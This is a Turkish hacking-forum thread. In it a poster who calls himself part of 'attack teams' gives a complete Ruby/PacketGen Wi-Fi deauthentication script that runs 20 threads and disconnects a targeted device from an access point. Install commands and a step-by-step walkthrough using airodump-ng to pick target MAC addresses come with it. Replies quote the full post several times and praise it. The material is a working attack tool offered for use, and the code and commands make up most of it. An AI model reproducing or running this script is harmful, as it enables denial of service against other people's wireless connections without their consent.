Vurduğunu Kopartan Wifi Deauth Scripti Kodlamak! (PacketGen) (Multi-Process)

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won

oqk18ir.png


lbn20fm.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.


Deauth Attack

iwxqmay.png


Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.



Kütüphane Kurulumları

Libcap:

apt-get install libpcap-dev

txaoloz.png


Packetgen:

gem install packetgen

cgkc1ul.png


Eventmachine:

gem install eventmachine

hh92rmq.png



Kod Aşaması

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'


packetgen:

packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.

optparse:

optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.

eventmachine:

eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.


Ruby:
class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.

params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.


Ruby:
def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.

Ruby:
def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.

oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.


Ruby:
def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.

"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.

20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir

daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.


Ruby:
EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end

EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.

Tüm Kod:

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'

class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

    @threads = Array.new
  end

  def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

  def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

  def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end


Test Aşaması

Hedef internete bağlı olan bir cihazda programı test edeceğiz.

Ağ kartının monitör moduna alınması:

aireplay-ng start (ağ kartınız)

lc7fsj0.png


iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz

airodump-ng (ağ kartı)


lqof6tx.png


Hedef erişim noktaları ve cihazlar listelenecektir.

ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)

2cw5ba1.png


Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.

ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız


bwviye7.png


Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.

jn79nj0.png



Okuyan herkese teşekkür ederim,

İyi forumlar.

Github adresi.


 
Son düzenleme:

Quantum PH

Üye
2 Mar 2024
70
33
New Jersey
You can attack thanks to the apt packages you install. I wish you had made a little more effort and explained all the functions of the library.

 

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won
Rica ederim, keyifli okumalar.

You can attack thanks to the apt packages you install. I wish you had made a little more effort and explained all the functions of the library.

You're welcome. Packetfu İle Paket Manipülasyonu!

Dostum Eline Sağlık
Teşekkürler.
 

Gazeteci Şerif

Katılımcı Üye
9 Eyl 2023
309
569
Trablusgarp Cephesi

oqk18ir.png


lbn20fm.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.


Deauth Attack

iwxqmay.png


Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.



Kütüphane Kurulumları

Libcap:

apt-get install libpcap-dev

txaoloz.png


Packetgen:

gem install packetgen

cgkc1ul.png


Eventmachine:

gem install eventmachine

hh92rmq.png



Kod Aşaması

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'


packetgen:

packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.

optparse:

optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.

eventmachine:

eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.


Ruby:
class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.

params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.


Ruby:
def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.

Ruby:
def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.

oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.


Ruby:
def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.

"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.

20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir

daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.


Ruby:
EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end

EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.

Tüm Kod:

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'

class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

    @threads = Array.new
  end

  def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

  def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

  def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end


Test Aşaması

Hedef internete bağlı olan bir cihazda programı test edeceğiz.

Ağ kartının monitör moduna alınması:

aireplay-ng start (ağ kartınız)

lc7fsj0.png


iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz

airodump-ng (ağ kartı)


lqof6tx.png


Hedef erişim noktaları ve cihazlar listelenecektir.

ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)

2cw5ba1.png


Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.

ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız


bwviye7.png


Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.

jn79nj0.png



Okuyan herkese teşekkür ederim,

İyi forumlar.

Github adresi.


Eline sağlık hocam 👏👏
 

ACE Veen

Uzman üye
4 Şub 2023
1,111
563
Belirsiz

oqk18ir.png


lbn20fm.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.


Deauth Attack

iwxqmay.png


Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.



Kütüphane Kurulumları

Libcap:

apt-get install libpcap-dev

txaoloz.png


Packetgen:

gem install packetgen

cgkc1ul.png


Eventmachine:

gem install eventmachine

hh92rmq.png



Kod Aşaması

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'


packetgen:

packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.

optparse:

optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.

eventmachine:

eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.


Ruby:
class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.

params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.


Ruby:
def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.

Ruby:
def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.

oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.


Ruby:
def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.

"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.

20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir

daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.


Ruby:
EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end

EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.

Tüm Kod:

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'

class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

    @threads = Array.new
  end

  def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

  def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

  def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end


Test Aşaması

Hedef internete bağlı olan bir cihazda programı test edeceğiz.

Ağ kartının monitör moduna alınması:

aireplay-ng start (ağ kartınız)

lc7fsj0.png


iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz

airodump-ng (ağ kartı)


lqof6tx.png


Hedef erişim noktaları ve cihazlar listelenecektir.

ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)

2cw5ba1.png


Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.

ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız


bwviye7.png


Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.

jn79nj0.png



Okuyan herkese teşekkür ederim,

İyi forumlar.

Github adresi.


elinize sağlık bunjo hocam
 

Rapx13

Üye
1 Kas 2023
56
6

oqk18ir.png


lbn20fm.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.


Deauth Attack

iwxqmay.png


Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.



Kütüphane Kurulumları

Libcap:

apt-get install libpcap-dev

txaoloz.png


Packetgen:

gem install packetgen

cgkc1ul.png


Eventmachine:

gem install eventmachine

hh92rmq.png



Kod Aşaması

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'


packetgen:

packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.

optparse:

optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.

eventmachine:

eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.


Ruby:
class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.

params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.


Ruby:
def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.

Ruby:
def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.

oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.


Ruby:
def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.

"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.

20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir

daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.


Ruby:
EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end

EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.

Tüm Kod:

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'

class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

    @threads = Array.new
  end

  def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

  def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

  def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end


Test Aşaması

Hedef internete bağlı olan bir cihazda programı test edeceğiz.

Ağ kartının monitör moduna alınması:

aireplay-ng start (ağ kartınız)

lc7fsj0.png


iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz

airodump-ng (ağ kartı)


lqof6tx.png


Hedef erişim noktaları ve cihazlar listelenecektir.

ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)

2cw5ba1.png


Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.

ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız


bwviye7.png


Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.

jn79nj0.png



Okuyan herkese teşekkür ederim,

İyi forumlar.

Github adresi.


Gerçekten muhteşem olmuş ellerine sağlık.
 
2 Mar 2024
78
42
Sorgusuz

oqk18ir.png


lbn20fm.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda hedef erişim noktasında bulunan bir cihazı ağdan kopartan bir script kodlayacağız.


Deauth Attack

iwxqmay.png


Deauthentication (Deauth) attack, kablosuz iletişimde (genellikle Wi-Fi ağları üzerinde) kullanılan bir saldırı türüdür.
Bu tür bir saldırı, bir hedef istemci cihazı veya Wi-Fi ağa bağlı olan diğer cihazların bağlantısını kesmeyi amaçlar.



Kütüphane Kurulumları

Libcap:

apt-get install libpcap-dev

txaoloz.png


Packetgen:

gem install packetgen

cgkc1ul.png


Eventmachine:

gem install eventmachine

hh92rmq.png



Kod Aşaması

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'


packetgen:

packetgen, Ruby dilinde paket oluşturmak, düzenlemek ve analiz etmek için kullanılan bir kütüphanedir. Bu kütüphane, çeşitli ağ protokollerini destekler ve kullanıcıya düşük seviyeli ağ trafiğini manipüle etme imkanı tanır. Yani, ağ üzerinden iletilen veri paketlerini oluşturmak veya incelemek için kullanılır.

optparse:

optparse, Ruby programlarında komut satırı argümanlarını analiz etmek ve işlemek için kullanılan bir kütüphanedir. Bu kütüphane, programın komut satırında belirtilen seçenekleri ve değerleri okumak için kullanılır. Kullanıcıya daha esnek ve düzenli bir komut satırı arayüzü sağlar.

eventmachine:

eventmachine, Ruby dilinde olay tabanlı (event-driven) programlama için bir kütüphanedir. Bu kütüphane, ağ uygulamaları, sunucular ve istemciler gibi etkinlik odaklı (event-driven) uygulamalar geliştirmek için kullanılır. Aynı zamanda I/O işlemleri için asenkron ve paralel programlamayı destekler.


Ruby:
class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

Bu blok, sınıfın başlangıcında çağrılan initialize metodunu tanımlar.
@ params adlı bir instance variable, çeşitli parametreleri içeren bir Hash (Ruby'de sözlük veri tipi) nesnesi ile başlatılır.

params içine daha sonra kullanıcıdan alınacak gerekli değişkenler atanır.


Ruby:
def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

Kullanıcının gerekli değişkenleri "--iface", "--bssid" vb. şeklinde girebilmesini sağlar.

Ruby:
def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

PacketGen kütüphanesi kullanılarak bir deauth paketi oluşturulur. RadioTap başlık, Dot11::Management ve Dot11: DeAuth katmanları eklenerek bir deauth paketi yapısı inşa edilir. mac1, mac2, ve mac3 değerleri, bu paketin hedef istemci cihazın MAC adresi (@ params[: client]) ve Access Point (AP) MAC adresi (@params[:bssid]) ile ilişkilendirilmiştir. reason: 7 ise deauth paketinin sebebini belirtir.

